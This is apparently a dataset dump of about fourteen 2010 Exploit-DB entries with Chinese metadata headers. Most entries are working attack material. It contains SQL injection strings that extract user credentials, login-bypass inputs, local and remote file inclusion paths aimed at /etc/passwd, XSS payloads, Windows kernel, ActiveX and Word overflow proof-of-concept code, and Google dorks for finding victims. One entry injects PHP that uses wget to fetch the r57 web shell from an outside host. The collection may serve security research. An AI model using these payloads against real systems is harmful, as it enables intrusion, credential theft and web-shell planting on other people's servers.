QLWD/code_shield huggingface dataset:
标题: UCenter Home 2.0 - SQL Injection EDB-ID: 14997 CVE: 2010-4912 类型: WEBAPPS 平台: PHP 发布日期: 2010-09-13 漏洞利用脚本: __--==UCenter Home 2.0 -(0day) Remote SQL Injection Vulnerability==--__
                              
*/ Author : KnocKout
*/ Greatz : DaiMon,BARCOD3,RiskY and iranian hackers
*/ Contact: knockoutr@msn.com
*/ Cyber-Warrior.org/CWKnocKout
__--==__--==__--==__--==__--==__--==__--==__--==__--==__--==
Script : UCenter Home
Version : 2.0
Script HomePage : http://u.discuz.net/
__--==__--==__--==__--==__--==__--==__--==__--==__--==__--==
Dork : Powered by UCenter inurl:shop.php?ac=view
Dork 2 : inurl:shop.php?ac=view&shopid=
__--==__--==__--==__--==__--==__--==__--==__--==__--==__--==
Vuln file : Shop.php
value's : (?)ac=view&shopid=
Vulnerable Style : SQL Injection (MySQL Error Based)
Need Metarials : Hex Conversion
__--==__--==__--==__--==__--==__--==__--==__--==__--==__--==
Your Need victim Database name. 
for Inject : http://server/shop.php?ac=view&shopid=253 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,unhex(hex(database())),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1
..
DB : Okey.
your edit DB `[TARGET DB NAME]`
Example : 'hiwir1_ucenter'
Edit : Okey.
 Your use Hex conversion. And edit Your SQL Injection Exploit..

Exploit Code : http://server/shop.php?ac=view&shopid=253 253 and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,cast(concat(uc_members.uid,0x3a,uc_members.username,0x3a,uc_members.password,0x3a,uc_members.email) as char),0x27,0x7e) FROM `hiwir1_ucenter`.uc_members LIMIT 0,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1


__--==__--==__--==__--==__--==__--==__--==__--==__--==__--== URL: https://www.exploit-db.com/exploits/14997
标题: Joomla! Component JGen 0.9.33 - SQL Injection EDB-ID: 14998 CVE: 2010-3422 类型: WEBAPPS 平台: PHP 发布日期: 2010-09-14 漏洞利用脚本: [+]Title                Joomla JGen Component  (com_jgen)  SQL-i Vulnerability
[+]Author          **RoAd_KiLlEr**
[+]Contact        RoAd_KiLlEr[at]Khg-Crew[dot]Ws
[+]Tested on     Win Xp Sp 2/3
---------------------------------------------------------------------------

[~] Founded by **RoAd_KiLlEr**
[~] Team: Albanian Hacking Crew
[~] Contact: RoAd_KiLlEr[at]Khg-Crew[dot]Ws 
[~] Home: http://inj3ct0r.com/author/2447  
[~] Download App:http://sourceforge.net/projects/jgen-database/files/jgen-database/JGen_0.9.80/JGen_0.9.80.zip/download
[~] Version:   0.9.33 
[~] Vendor: http://sourceforge.net/projects/jgen-database/
==========ExPl0iT3d by **RoAd_KiLlEr**==========

[+]Description:
JGen is a genealogy database component for the Joomla content management system. It allows easy registration of individuals in your family tree, the links between them, sources where information was found, images and documents etc
=========================================

[+] Dork: inurl:"com_jgen"

==========================================


[+].  SQL-i Vulnerability
=+=+=+=+=+=+=+=+=+

[Exploit]:  http://127.0.0.1/Joomla Path/index.php?option=com_jgen&task=view&id=[SQL Injection] 



===========================================================================================
[!] Albanian Hacking Crew           
===========================================================================================
[!] **RoAd_KiLlEr**   Says: Im BacK for More,so better Watch Out :P...I missed all of ya :)
===========================================================================================
[!] MaiL: sukihack[at]gmail[dot]com
===========================================================================================
[!] Greetz To : Ton![w]indowS | X-n3t | b4cKd00r ~ | DarKHackeR. | The|DennY` | EaglE EyE | THE_1NV1S1BL3 & All Albanian/Kosova Hackers 
===========================================================================================
[!] Spec Th4nks:  r0073r  | indoushka from Dz-Ghost Team  | MaFFiTeRRoR | All  Inj3ct0r 31337 Members | And All My Friendz
===========================================================================================
[!] Red n'black i dress eagle on my chest
It's good to be an ALBANIAN
Keep my head up high for that flag I die
Im proud to be an ALBANIAN
=========================================================================================== URL: https://www.exploit-db.com/exploits/14998
标题: Kingsoft AntiVirus 2010.04.26.648 - Kernel Buffer Overflow EDB-ID: 14987 CVE: 2010-3396 类型: DOS 平台: WINDOWS 发布日期: 2010-09-13 漏洞利用脚本: #!/usr/bin/python

#################################################################
#
# Title: Kingsoft Antivirus Kernel Buffer Overflow Exploit
# Author: Lufeng Li of Neusoft Corporation
# Vendor: www.duba.net
# Platform: Windows XPSP3 Chinese Simplified
# Tested: Kingsoft Antivirus v2010.04.26.648
# Vulnerable: Kingsoft Antivirus <=v2010.04.26.648
# Vulnerable App: http://down10b.zol.com.cn/shadu/KAV100625_DOWN_10_166.zip?key=314e0cb9ea82720d90caae96bb918009
#################################################################
# Code :
from ctypes import *

kernel32 = windll.kernel32
Psapi    = windll.Psapi

if __name__ == '__main__':
    GENERIC_READ  = 0x80000000
    GENERIC_WRITE = 0x40000000
    OPEN_EXISTING = 0x3
    CREATE_ALWAYS = 0x2

    DEVICE_NAME   = "\\\\.\\kavfm"
    dwReturn      = c_ulong()
    out_size      = 1024
    in_size       = 1024
    in_data       = ''
    driver_handle1 = kernel32.CreateFileA(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE,
      0, None, CREATE_ALWAYS, 0, None)
    in_data=1024*'\x80'
    dev_ioctl = kernel32.DeviceIoControl(driver_handle1, 0x80030004, in_data,500, 0, 0,byref(dwReturn), None) URL: https://www.exploit-db.com/exploits/14987
标题: eshtery CMS - SQL Injection EDB-ID: 14980 CVE: 2010-3404 类型: WEBAPPS 平台: ASP 发布日期: 2010-09-12 漏洞利用脚本: '''
  __  __  ____         _    _ ____  
 |  \/  |/ __ \   /\  | |  | |  _ \ 
 | \  / | |  | | /  \ | |  | | |_) |
 | |\/| | |  | |/ /\ \| |  | |  _ < 
 | |  | | |__| / ____ \ |__| | |_) |
 |_|  |_|\____/_/    \_\____/|____/ 

http://www.exploit-db.com/moaub12-eshtery-cms-sql-injection-vulnerability/
'''


Abysssec Inc Public Advisory
 
  Title            :  eshtery CMS Sql Injection Vulnerability
  Affected Version :  eshtery copyrights 2003-2004
  Discovery        :  www.abysssec.com
  Vendor    :  http://eshtery.she7ata.com/projects/eshtery/

  Demo      :  http://eshtery.she7ata.com/projects/eshtery/
  Download Links   :  http://sourceforge.net/projects/eshtery/
  
 
Description :
===========================================================================================      
1) SQL Injection

  for successful injection in this cms you have to pass two steps.
      
   Step 1:
   ----------------------------------------------------------------------------------------
          Go to this path:
                 http://Example.com/catlgsearch.aspx

          and enter this value in Criteria field:
                 %') and 1=1 AND (Item.iname LIKE '%
    
          and click on "go" button. You will see that the data will be loaded.
          
          Now enter this value:
                 %') and 1=2 AND (Item.iname LIKE '%
           
          With this value no data will be loaded.


          So if we enter below value, with the following technique we can define the first character 
          of AccName field of Admins table :
                 %') and 1=IIF((select mid(last(AccName),1,1) from (select top 1 AccName from admins))='a',1,2) AND (Item.iname LIKE '% 

          If the first character is 'a', the data will be loaded. If not, you will see nothing.
          
          Second character:
                 %') and 1=IIF((select mid(last(AccName),2,1) from (select top 1 AccName from admins))='d',1,2) AND (Item.iname LIKE '% 

          and respectivly you can acqure another characters.

          As a result, the first value of AccName field from Admins table acqured.  

          With this method you can obtain the Password value of Admin from Admins table
          and going to other steps is not  necessary.


    Step 2:
   ----------------------------------------------------------------------------------------          
          The value of AccName obtained in the first step(for example: admin).
          You can go to adminlogin.aspx page:
                 http://Example.com/adminlogin.aspx 

          and enter this value to login: 
                 username : admin' or '1'='1 
          password : foo
  
          Now you are admin of site.

  
          

=========================================================================================== URL: https://www.exploit-db.com/exploits/14980
标题: ES Simple Download 1.0. - Local File Inclusion EDB-ID: 14960 CVE: 2010-3456 类型: WEBAPPS 平台: PHP 发布日期: 2010-09-09 漏洞利用脚本: ----------------------------Information------------------------------------------------
+Name : ES Simple Download v 1.0. Local File Exclusion/LFI
+Autor : Kazza
+email : kazzamagic@list.ru
+Date   : 09.09.2010
+Script  : ES Simple Download v 1.0.
+Price : Freeware
+Language :PHP
+Discovered by Kazza
+Security Group : -GST-German Security Team-
+And all Friends Sites : http://md5cracker.tk - http://gulli.com - http://free-hack.com

----------------------------Vulnerability-----------------------------------------------
+Download : www.energyscripts.com/projects/essdownload/essdownload1.0.zip
+Vulnerability : www.your script/download.php?PHPSESSID="Your Senssid"&file=../*****
+Password Exploitable   : www.your script/download.php?PHPSESSID="Your Senssid"&file=../../config.php
----------------------------------------------------------------------------------------- URL: https://www.exploit-db.com/exploits/14960
标题: fcms 2.2.3 - Remote File Inclusion EDB-ID: 14965 CVE: 2010-3419 类型: WEBAPPS 平台: PHP 发布日期: 2010-09-10 漏洞利用脚本: [x] Exploit Title: [FCMS_2.2.3 Remote File Inclusion ] 
[x] Date: 10-9-2010] 
[x] Author: LoSt.HaCkEr  ~  aDaM_TRoJaN
[x] Software Link: [http://www.familycms.com/getstarted.php] 
[x] Version: [v 2.2.3 ] 
[x]Tested on: [Windows XP] 
[x] CVE :
[x] My E-MaIl:LoSt.HaCkEr[at]HaCkEr[dot]Ps
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[x]Exploit: http://target/FCMS_2.2.3/FCMS_2.2.3/familynews.php?current_user_id=[shell]
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[x]Exploit: http://target/FCMS_2.2.3/FCMS_2.2.3/settings.php?current_user_id=[SHeLL]
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
[x]Greetings:  No Greet URL: https://www.exploit-db.com/exploits/14965
标题: symphony 2.0.7 - Multiple Vulnerabilities EDB-ID: 14968 CVE: 2010-3458 2010-3457 类型: WEBAPPS 平台: PHP 发布日期: 2010-09-10 漏洞利用脚本: Symphony 2.0.7 Multiple Vulnerabilities
bug found by Jose Luis Gongora Fernandez (a.k.a) JosS
 
contact: sys-project[at]hotmail.com
website: http://www.hack0wn.com/
 
- download: http://downloads.symphony-cms.com/symphony-package/36030/symphony-2.0.7.zip
 
- CMS:
 
 XSLT-powered open source content management system.

~ [SQL]

 This vulnerability affects /symphony-2.0.7/about/.

 The POST variable send-email[recipient] is vulnerable. 
    send-email[recipient]='

fields%5Bname%5D=111-222-1933email@address.tst&fields%5Bemail%5D=111-222-1933email@address.tst&fields%5Bsubject%5D=General%20Enquiry&fields%5Bmessage%5D=111-222-1933email@address.tst&send-email%5Brecipient%5D='&send-email%5Bsender-email%5D=fields%5Bemail%5D&send-email%5Bsender-name%5D=fields%5Bname%5D&send-email%5Bsubject%5D=fields%5Bsubject%5D&send-email%5Bbody%5D=fields%5Bmessage%5D%2Cfields%5Bsubject%5D%2Cfields%5Bemail%5D%2Cfields%5Bname%5D&action%5Bsave-message%5D=Send

~ [XSS]

 This vulnerability affects /symphony-2.0.7/articles/a-primer-to-symphony-2s-default-theme/.

 The POST variable fields[website] is vulnerable.
    fields[Bwebsite]=javascript:alert('JosS')

fields%5Bauthor%5D=111-222-1933email@address.tst&fields%5Bemail%5D=111-222-1933email@address.tst&fields%5Bwebsite%5D=javascript:alert(418231608845)&fields%5Bcomment%5D=111-222-1933email@address.tst&fields%5Barticle%5D=3&action%5Bsave-comment%5D=Post%20Comment

~ [Cookie Manipulation]

 This vulnerability affects /symphony-2.0.7/about/.

 The POST variable send-email[recipient] is vulnerable.
    send-email%5Brecipient%5D=<meta+http-equiv='Set-cookie'+content='cookiename=cookievalue'>

fields%5Bname%5D=111-222-1933email@address.tst&fields%5Bemail%5D=111-222-1933email@address.tst&fields%5Bsubject%5D=General%20Enquiry&fields%5Bmessage%5D=111-222-1933email@address.tst&send-email%5Brecipient%5D=<meta+http-equiv='Set-cookie'+content='cookiename=cookievalue'>&send-email%5Bsender-email%5D=fields%5Bemail%5D&send-email%5Bsender-name%5D=fields%5Bname%5D&send-email%5Bsubject%5D=fields%5Bsubject%5D&send-email%5Bbody%5D=fields%5Bmessage%5D%2Cfields%5Bsubject%5D%2Cfields%5Bemail%5D%2Cfields%5Bname%5D&action%5Bsave-message%5D=Send


------------
Hack0wn Team
By: JosS
------------

__h0__ URL: https://www.exploit-db.com/exploits/14968
标题: Microsoft Word 2007 SP2 - sprmCMajority Buffer Overflow EDB-ID: 14971 CVE: 2010-1900 类型: DOS 平台: WINDOWS 发布日期: 2010-09-11 漏洞利用脚本: '''
  __  __  ____         _    _ ____  
 |  \/  |/ __ \   /\  | |  | |  _ \ 
 | \  / | |  | | /  \ | |  | | |_) |
 | |\/| | |  | |/ /\ \| |  | |  _ < 
 | |  | | |__| / ____ \ |__| | |_) |
 |_|  |_|\____/_/    \_\____/|____/ 

http://www.exploit-db.com/moaub11-microsoft-office-word-sprmcmajority-buffer-overflow/
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/14971.zip (moaub-11-exploit.zip)
'''

'''
  Title               :  Microsoft Office Word sprmCMajority buffer overflow
  Version             :  Word 2007 SP 2
  Analysis           :  http://www.abysssec.com
  Vendor              :  http://www.microsoft.com
  Impact              :  Critical
  Contact             :  shahin [at] abysssec.com , info  [at] abysssec.com
  Twitter             :  @abysssec
  CVE                 :  CVE-2010-1900

'''

import sys

def main():
   
    try:
  fdR = open('src.doc', 'rb+')
  strTotal = fdR.read()
  str1 = strTotal[:4082]
  str2 = strTotal[4088:]
  
  sprmCMajority = "\x47\xCA\xFF"    # sprmCMajority  
  sprmPAnld80 = "\x3E\xC6\xFF"    # sprmPAnld80
    
  fdW= open('poc.doc', 'wb+')
  fdW.write(str1)
  fdW.write(sprmCMajority)
  fdW.write(sprmPAnld80)    
  fdW.write(str2)
  
  fdW.close()
  fdR.close()
  print '[-] Word file generated'
    except IOError:
        print '[*] Error : An IO error has occurred'
        print '[-] Exiting ...'
        sys.exit(-1)
                
if __name__ == '__main__':
    main() URL: https://www.exploit-db.com/exploits/14971
标题: Joomla! Component Jphone 1.0 Alpha 3 - Local File Inclusion EDB-ID: 14964 CVE: 2010-3426 类型: WEBAPPS 平台: PHP 发布日期: 2010-09-10 漏洞利用脚本: JPhone 1.0 Alpha 3 Component Joomla Local File Inclusion
=========================================================================================

- Discovered by : Chip D3 Bi0s
- Email         : chipdebios[at]gmail[dot]com
- Group         : LatinHackTeam
- Date          : 2010-09-10
- Where         : From Remote

-------------------------------------------------------------------------------------
Affected software description

Application     : Jphone
Developer       : Urs Kobald
Compatibility   : 1.0 Alpha 3
License         : GPLv2 or later
Date Added      : 14 Aug 2010
website         : http://www.4you-studio.com
Download        : http://www.joomlafrance.org/telecharger/download/Jphone/344bbad81cf491b6e5215e3f15fc3fb7.html

I. BACKGROUND

Called Jphone, component agency 4you studio allows for your Joomla adapted mobile
version with a real interface using page transition effects rather pro
(the cube effect and popup are very nice).

Consisting of a component and a plugin for Joomla, it is after activating the plugin
define a menu (the menu management of Joomla). This is to link the specific component
to display your content. Currently seen by the articles, categories, sections are set
but also those contacts and links Web (Two native Joomla components).
The installation procedure is shown in the download package.

In addition, the proposed version is an alpha version 
(therefore usable only for testing purposes) but resulted entirely in French.
Feel free to share your opinion on the forum.
Support for Android and PalmPre should be functional (not tested)

II. DESCRIPTION

Some Local File inclusion vulnerabilities exist in Component Joomla Jphone 1.0 Alpha 3.



III. ANALYSIS

The bug is in the following files, specifying the lines

/components/com_jphone/jphone.php



[63] if($controller = JRequest::getVar('controller')) {
[64]
[65] require_once (JPATH_COMPONENT.DS.'controllers'.DS.$controller.'.php');

 Explanation:As noted in the line [65] $controller
 nowhere is filtered, which result is lfi as is known to pass '.php' use %00 :)


IV. EXPLOITATION

http://site/path/index.php?option=com_jphone&controller={LFI}
{LFI}=../../../../../../../../../../etc/passwd%00
{LFI}=../../../../../../../../../../proc/self/environ%00

changing the user agent for something so:
<?system('wget http://chipdebios.com/r57.txt -O r57.php');?>

A special greeting to my good friends:
F3l0m4n, R4y0k3nt, ecore, J3h3s, r0i & pc Marquesita :)



+++++++++++++++++++++++++++++++++++++++
[!] Produced in South America
+++++++++++++++++++++++++++++++++++++++ URL: https://www.exploit-db.com/exploits/14964
标题: 1024 CMS 2.1.1 - Blind SQL Injection EDB-ID: 14942 CVE: 2010-1093 类型: WEBAPPS 平台: PHP 发布日期: 2010-09-07 漏洞利用脚本: # Exploit Title: 1024cms 2.1.1 Blind SQL Injection Vulnerability
# Date: 07.09.2010
# Author: Stephan Sattler // Solidmedia.de
# Software Website: http://1024cms.org
# Software Link: http://d10xg45o6p6dbl.cloudfront.net/projects/f/freecms1024/1024_v2.zip
or http://sourceforge.net/projects/cms-cvi/files/v2.1.zip/download
# Version: 2.1.1


[ Vulnerability//PoC ]

http://[site]/[path]/rss.php?t=vp&id=1'+AND+(SELECT+MID(o.password,1,1)+FROM+otatf_users+o+WHERE+o.id=1)='[first character of admin hash]
example: http://[site]/[path]/rss.php?t=vp&id=1'+AND+(SELECT+MID(o.password,1,1)+FROM+otatf_users+o+WHERE+o.id=1)='c URL: https://www.exploit-db.com/exploits/14942
标题: festos CMS 2.3b - Multiple Vulnerabilities EDB-ID: 14948 CVE: 2010-4893 类型: WEBAPPS 平台: PHP 发布日期: 2010-09-09 漏洞利用脚本: '''
  __  __  ____         _    _ ____  
 |  \/  |/ __ \   /\  | |  | |  _ \ 
 | \  / | |  | | /  \ | |  | | |_) |
 | |\/| | |  | |/ /\ \| |  | |  _ <  Day 9 (0day)
 | |  | | |__| / ____ \ |__| | |_) |
 |_|  |_|\____/_/    \_\____/|____/ 

 http://www.exploit-db.com/moaub-9-festos-cms-2-3b-multiple-remote-vulnerabilities/
 '''
 
Title  : FestOS CMS 2.3b Multiple Remote Vulnerabilities
Affected Version : <=2.3b
Vendor  Site   : http://festengine.org/
 
Discovery : abysssec.com
 
 
Description :
 
This CMS have many critical vulnerability that we refere to some of those here:
 
 
Vulnerabilites :
 
1- SQL Injection
 
Vulnerability :

1.1- in admin/do_login.php line 17:

// Process the login
$query = "SELECT userid, roleID, username FROM ".$config['dbprefix']."users WHERE LCASE(username) = '".strtolower($_POST['username'])."' and password ='".md5($_POST['password'])."'";
$res = $festos->query($query);

poc: in admin.php page: 
username: admin' or '1'='1  
password: admin' or '1'='1
 
1.2- in festos_z_dologin.php:
$query = "SELECT vendorID FROM ".$config['dbprefix']."vendors WHERE LCASE(email) = '".strtolower($_POST['email'])."' and password ='".$_POST['password']."'";

poc: in applications.php page:
email: anything
pass: a' or 1=1/*

2- Local File Inclusion (lfi):

Vulnerability in index.php:

line 41:

if(isset($_GET['theme']) && !empty($_GET['theme']) && file_exists($config['ABSOLUTE_FILE_PATH'].'themes/'.$_GET['theme'])) {
...
require_once($themepath.'/includes/header.php');

poc:
http://localhost/festos/index.php?theme=../admin/css/admin.css%00
http://localhost/festos/artists.php?theme=../admin/css/admin.css%00
http://localhost/festos/contacts.php?theme=../admin/css/admin.css%00
http://localhost/festos/applications.php?theme=../admin/css/admin.css%00
http://localhost/festos/entertainers.php?theme=../admin/css/admin.css%00
http://localhost/festos/exhibitors.php?theme=../admin/css/admin.css%00
http://localhost/festos/foodvendors.php?theme=../admin/css/admin.css%00
http://localhost/festos/performanceschedule.php?theme=../admin/css/admin.css%00
http://localhost/festos/sponsors.php?theme=../admin/css/admin.css%00
http://localhost/festos/winners.php?theme=../admin/css/admin.css%00
 
3- Cross Site Scripting:

in foodvendors.php, festos_foodvendors.php page has been included. 

lines 31-36.

switch($switcher) {
 case 'details':
  if(!isset($_GET['vendorID']) || ctype_digit($_GET['vendorID'])===FALSE || $_GET['vendorID'] == '') {
   $template = 'foodvendors_nonespecified.tpl';
   break;
  }
and in line 74:
$tpl->set('vType', $_GET['category']);

and foodvendors_nonespecified.tpl

line 123:

<p>Back to the list of <a href="<?php echo $_SERVER['PHP_SELF'];?>?view=list&vTypeID=<?php echo $vTypeID;?>" title="<?php echo $vType;?> Category">exhibitors in the <?php echo $vType;?> category</a>.</p>

the category parameter is vulnerable to xss:
poc:
http://localhost/festos/foodvendors.php?view=details&vendorID=4&category=%3Ciframe%20src=javascript:alert%28%22XSS%22%29;&vTypeID=28 URL: https://www.exploit-db.com/exploits/14948
标题: Internet Download Accelerator 5.8 - Remote Buffer Overflow (PoC) EDB-ID: 14938 CVE: 2007-3162 类型: DOS 平台: WINDOWS 发布日期: 2010-09-07 漏洞利用脚本: <!--========================== ==================================================
Internet Explorer ver 7.0.5730.13
Tested On Windows SP2
Inj3ct0r team & yogyacarderlink team
Bug discovered by eidelweiss
Affected Software: idaiehlp.dll  BHO: IE 4.x-6.x BHO for Internet Download Accelerator - {2A646672-9C3A-4C28-9A7A-1FB0F63F28B6}
DLL VER : 2.4.1.110
program ver : 5.8.3.1221
download link : http://download1.westbyte.com/ida/idasetup.exe
vendor www. westbyte.com
www.inj3ct0r.com
www.yogyacarderlink.web.id
==============================================================================-->
<html>
<object classid="clsid:2A646672-9C3A-4C28-9A7A-1FB0F63F28B6" id="idaiehlp"></object>
<script language='vbscript'>
arg1=String(9696969, "A") + String(999999, unescape("%960"))
idaiehlp.NotSafe (arg1)
</script> URL: https://www.exploit-db.com/exploits/14938
标题: ColdBookmarks 1.22 - SQL Injection EDB-ID: 14933 CVE: 2010-4915 类型: WEBAPPS 平台: WINDOWS 发布日期: 2010-09-07 漏洞利用脚本: # ColdGen - coldbookmarks v1.22 Remote 0day SQL Injection vulnerability
# Vendor: http://www.coldgen.com/
# Found by: mr_me (net-ninja.net)

PoC
http://[target]/[path]/index.cfm?fuseaction=EditBookmark&BookmarkID=[SQLi]&CFID=XXXXXX&CFTOKEN=XXXXXXXX URL: https://www.exploit-db.com/exploits/14933
标题: Softbiz Article Directory Script - 'sbiz_id' Blind SQL Injection EDB-ID: 14910 CVE: 2010-4905 类型: WEBAPPS 平台: PHP 发布日期: 2010-09-05 漏洞利用脚本: ===========================================================
[~] Title: Article Directory (sbiz_id) Blind SQL Injection Vuln
[~] Script: Article Directory
[~] Price: $65
[~] Link: http://www.softbizscripts.com/article-management-script.php
===========================================================
[~] Author: BorN To K!LL - h4ck3r
[~] Contact: SQL@hotmail.co.uk
===========================================================
[~] 3xploit:
/article_details.php?sbiz_id=[Blind-Injection]

[~] Example:
server/article_details.php?sbiz_id=13 and substring(version(),1,1)=4    // False ,,
server/article_details.php?sbiz_id=13 and substring(version(),1,1)=5    // True ,,
===========================================================
[~] Greetings:
bool Greetings = True;
if (Greetings = True)
{
    cout<<"Dr.2"
          <<"Q8 H4x0r"
          <<"Dr.Faustus"
          <<"AsbMay's Group"
          <<"darkc0de team"
          <<"my wife.."
          <<"and all friends \n";
}
else
{
    cout<<"No greeting ..\n";
}
=========================================================== URL: https://www.exploit-db.com/exploits/14910